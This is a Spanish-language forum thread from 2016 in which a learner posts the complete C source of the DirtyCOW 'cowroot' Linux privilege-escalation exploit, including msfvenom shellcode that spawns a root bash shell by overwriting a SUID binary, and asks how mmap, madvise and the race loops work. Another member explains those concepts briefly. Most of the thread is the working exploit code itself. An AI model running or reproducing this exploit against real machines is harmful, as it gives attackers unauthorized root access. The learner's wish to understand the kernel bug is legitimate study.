elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  DirtyCOW funcionamiento
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: DirtyCOW funcionamiento  (Leído 5,103 veces)
mester

Desconectado Desconectado

Mensajes: 219


https://www.youtube.com/watch?v=IlY9C6pzxKc


Ver Perfil WWW
DirtyCOW funcionamiento
« en: 25 Octubre 2016, 23:58 pm »

Hola. Me he descargado de exploit-db.com el exploit DirtyCOW, y estoy aprendiendo a programar en C y me gustaría entenderlo un poco. Adjunto codigo:

Código
  1. /*
  2. * (un)comment correct payload first (x86 or x64)!
  3. *
  4. * $ gcc cowroot.c -o cowroot -pthread
  5. * $ ./cowroot
  6. * DirtyCow root privilege escalation
  7. * Backing up /usr/bin/passwd.. to /tmp/bak
  8. * Size of binary: 57048
  9. * Racing, this may take a while..
  10. * /usr/bin/passwd is overwritten
  11. * Popping root shell.
  12. * Don't forget to restore /tmp/bak
  13. * thread stopped
  14. * thread stopped
  15. * root@box:/root/cow# id
  16. * uid=0(root) gid=1000(foo) groups=1000(foo)
  17. */
  18.  
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <sys/mman.h>
  22. #include <sys/stat.h>
  23. #include <fcntl.h>
  24. #include <pthread.h>
  25. #include <string.h>
  26. #include <unistd.h>
  27.  
  28. void *map;
  29. int f;
  30. int stop = 0;
  31. struct stat st;
  32. char *name;
  33. pthread_t pth1,pth2,pth3;
  34.  
  35. // change if no permissions to read
  36. //char suid_binary[] = "/usr/bin/passwd";
  37. char suid_binary[] = "mydirty";
  38.  
  39. /*
  40. * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
  41. */
  42. unsigned char sc[] = {
  43.  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  44.  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  45.  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  46.  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  47.  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  48.  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  49.  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  50.  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  51.  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  52.  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  53.  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  54.  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  55.  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  56.  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  57.  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
  58. };
  59. unsigned int sc_len = 177;
  60.  
  61. void *madviseThread(void *arg)
  62. {
  63.    int i,c=0;
  64.    for(i=0;i<1000000 && !stop;i++) {
  65.        c+=madvise(map,100,MADV_DONTNEED);
  66.    }
  67.    printf("thread stopped\n");
  68.  return NULL;
  69. }
  70.  
  71. void *procselfmemThread(void *arg)
  72. {
  73.    char *str;
  74.    str=(char*)arg;
  75.    int f=open("/proc/self/mem",O_RDWR);
  76.    int i,c=0;
  77.    for(i=0;i<1000000 && !stop;i++) {
  78.        lseek(f,(off_t)map,SEEK_SET);
  79.        c+=write(f, str, sc_len);
  80.    }
  81.    printf("thread stopped\n");
  82.  return NULL;
  83. }
  84.  
  85. void *waitForWrite(void *arg) {
  86.    char buf[sc_len];
  87.  
  88.    for(;;) {
  89.        FILE *fp = fopen(suid_binary, "rb");
  90.  
  91.        fread(buf, sc_len, 1, fp);
  92.  
  93.        if(memcmp(buf, sc, sc_len) == 0) {
  94.            printf("%s is overwritten\n", suid_binary);
  95.            break;
  96.        }
  97.  
  98.        fclose(fp);
  99.        sleep(1);
  100.    }
  101.  
  102.    stop = 1;
  103.  
  104.    printf("Popping root shell.\n");
  105.    printf("Don't forget to restore /tmp/bak\n");
  106.  
  107.    system(suid_binary);
  108.  return NULL;
  109. }
  110.  
  111. int main(int argc,char *argv[]) {
  112.    char backup[1024];
  113.  
  114.    printf("DirtyCow root privilege escalation\n");
  115.    printf("Backing up %s.. to /tmp/bak\n", suid_binary);
  116.  
  117.    sprintf(backup, "cp %s /tmp/bak", suid_binary);
  118.    system(backup);
  119.  
  120.    f = open(suid_binary,O_RDONLY);
  121.    fstat(f,&st);
  122.  
  123.    printf("Size of binary: %d\n", st.st_size);
  124.  
  125.    char payload[st.st_size];
  126.    memset(payload, 0x90, st.st_size);
  127.    memcpy(payload, sc, sc_len+1);
  128.  
  129.    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  130.  
  131.    printf("Racing, this may take a while..\n");
  132.  
  133.    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
  134.    pthread_create(&pth2, NULL, &procselfmemThread, payload);
  135.    pthread_create(&pth3, NULL, &waitForWrite, NULL);
  136.  
  137.    pthread_join(pth3, NULL);
  138.  
  139.    return 0;
  140. }

Por lo que tengo entendido en el codigo, primeramente, se llama a la funcion mmap, la cual copia el contenido del fichero en memoria. Después se llama a la funcion madvise en el thread madviseThread, que no sé lo que hace exactamente xd, y finalmente llama al thread procselfmemThread, que escribe en el contenido del fichero cargado en memoria el payload que hay declarado en 'sc'. Y bueno, la funcion waitForWrite que busca si se ha escrito en el fichero.

Lo que me gustaría saber es, primero, ¿que hace la funcion mmap exactamente?, segundo, ¿que hace la funcion madvise?, tercero, ¿para qué lo meten en un bucle tan grande?, cuarto, si se carga en memoria el fichero, ¿cómo se escribe el fichero cargado en memoria al fichero real almacenado en el disco?, y por último, si en la funcion del thread procselfmemThread en el write escribo "write (f, str, sc_len) == sc_len" ¿no debería de acabar ya que se supone que ha escrito los bytes de sc_len en el fichero objetivo?

Gracias de antemano.
En línea

Justicia es dar a cada uno lo que se merece
sirdarckcat
Aspirante a supervillano
Colaborador
***
Desconectado Desconectado

Mensajes: 7.029


No estoy loco, soy mentalmente divergente


Ver Perfil WWW
Re: DirtyCOW funcionamiento
« Respuesta #1 en: 31 Octubre 2016, 01:55 am »

Hola mester

Lo que hace mmap() es que asigna una sección de memoria a un archivo. Imagina que hace que cuando lees esa sección de memoria, vas a leer el archivo directamente.

madvise() es usada para optimizar el uso de memoria. Si tu sabes que tipo de acceso vas a hacer a la memoria, puedes ayudar al kernel hacer el acceso mas rapido y eficiente.

El motivo de repetir las operaciones tantas veces es para que las dos operaciones (escribir en memoria, y descartar la copia del archivo) pasen al mismo tiempo, y el programa termine escribiendo en el archivo, enlugar de la copia.

El kernel copia los cambios en la memoria de vuelta al disco duro.

No entendi tu ultima pregunta.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
mal funcionamiento
Software
ANNIBAL 8 4,424 Último mensaje 19 Enero 2003, 07:44 am
por Mordor
Funcionamiento de un joiner?
Programación Visual Basic
[D4N93R] 3 1,698 Último mensaje 23 Diciembre 2005, 23:25 pm
por [D4N93R]
Funcionamiento de una web
PHP
cadrogui 3 4,299 Último mensaje 30 Enero 2011, 17:56 pm
por apuromafo CLS
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines